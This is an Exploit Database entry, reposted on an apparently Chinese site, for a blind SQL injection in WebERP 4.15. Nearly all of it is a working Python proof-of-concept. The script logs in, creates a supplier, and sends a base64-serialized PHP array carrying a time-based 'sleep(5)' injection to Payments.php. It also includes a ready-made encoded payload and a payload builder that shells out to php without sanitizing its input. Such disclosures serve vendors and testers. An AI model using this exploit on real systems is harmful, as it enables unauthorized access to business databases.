WebERP 4.15 – SQL injection

• Exploit Database
• 16 阅读

• 作者： Semen Alexandrovich Lyhin
  日期： 2019-06-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47013/

• # Exploit Title: Blind SQL injection in WebERP.
  # Date: June 10, 2019
  # Exploit Author: Semen Alexandrovich Lyhin (https://www.linkedin.com/in/semenlyhin/)
  # Vendor Homepage: http://www.weberp.org/
  # Version: 4.15
  
  # A malicious query can be sent in base64 encoding to unserialize() function. It can be deserialized as an array without any sanitization then. 
  # After it, each element of the array is passed directly to the SQL query. 
  
  import requests
  import base64
  import os
  import subprocess
  from bs4 import BeautifulSoup
  import re
  import time
  import sys
  
  def generatePayload(PaidAmount="0",PaymentId="0"):
  #THIS FUNCTION IS INSECURE BY DESIGN
  ToSerialize = r"[\"%s\" => \"%s\"]" % (PaymentId, PaidAmount)
  return os.popen("php -r \"echo base64_encode(serialize(" + ToSerialize + "));\"").read()
  
  def getCookies(ip, CompanyNameField, usr, pwd):
  r = requests.get("http://" + ip + "/index.php")
  s = BeautifulSoup(r.text, 'lxml')
  m = re.search("FormID.*>", r.text)
  FormID = m.group(0).split("\"")[2]
  
  data = {"FormID":FormID,"CompanyNameField":CompanyNameField,"UserNameEntryField":usr,"Password":pwd,"SubmitUser":"Login"}
  r = requests.post("http://" + ip + "/index.php", data)
  
  return {"PHPSESSIDwebERPteam":r.headers["Set-Cookie"][20:46]}
  
  
  def addSupplierID(name, cookies, proxies):
  r = requests.get("http://" + ip + "/Suppliers.php", cookies=cookies)
  s = BeautifulSoup(r.text, 'lxml')
  m = re.search("FormID.*>", r.text)
  FormID = m.group(0).split("\"")[2]
  
  data = {"FormID":FormID,"New":"Yes","SupplierID":name,"SuppName":name,"SupplierType":"1","SupplierSince":"01/06/2019","BankPartics":"","BankRef":"0",
  "PaymentTerms":"20","FactorID":"0","TaxRef":"","CurrCode":"USD","Remittance":"0","TaxGroup":"1","submit":"Insert+New+Supplier"}
  
  requests.post("http://" + ip + "/Suppliers.php", data=data,cookies=cookies,proxies=proxies)
  
  
  def runExploit(cookies, supplier_id, payload, proxies):
  r = requests.get("http://" + ip + "/Payments.php", cookies=cookies)
  s = BeautifulSoup(r.text, 'lxml')
  m = re.search("FormID.*>", r.text)
  FormID = m.group(0).split("\"")[2]
  
  data = {"FormID":FormID,
  "CommitBatch":"2",
  "BankAccount":"1",
  "DatePaid":"01/06/2019",
  "PaidArray":payload}
   
  requests.post("http://" + ip + "/Payments.php?identifier=1559385755&SupplierID=" + supplier_id, data=data,cookies=cookies,proxies=proxies)
  
  
  if __name__ == "__main__":
  #proxies = {'http':'127.0.0.1:8080'}
  proxies = {}
  
  if len(sys.argv) != 6:
  print '(+) usage: %s <target> <path> <login> <password> <order>' % sys.argv[0]
  print '(+) eg: %s 127.0.0.1 "weberp/webERP/" admin weberp 1' % sys.argv[0]
  print 'Order means the number of company on the website. Can be gathered from the login page and usually equals 0 or 1'
  exit()
  
  ip = sys.argv[1] + "/" + sys.argv[2]
  
  #if don't have php, set Payload to the next one to check this time-based SQLi: YToxOntpOjA7czoyMzoiMCB3aGVyZSBzbGVlcCgxKT0xOy0tIC0iO30=
  #payload = generatePayload("0 where sleep(1)=1;-- -", "0")
  
  payload = generatePayload("0", "' or sleep(5) and '1'='1")
  
  #get cookies
  cookies = getCookies(ip, sys.argv[5], sys.argv[3], sys.argv[4])
  
  addSupplierID("GARUMPAGE", cookies, proxies)
  
  t1 = time.time()
  runExploit(cookies, "GARUMPAGE", payload, proxies)
  t2 = time.time()
  
  if (t2-t1>4):
  print "Blind sqli is confirmed"
  else:
  print "Verify input data and try again"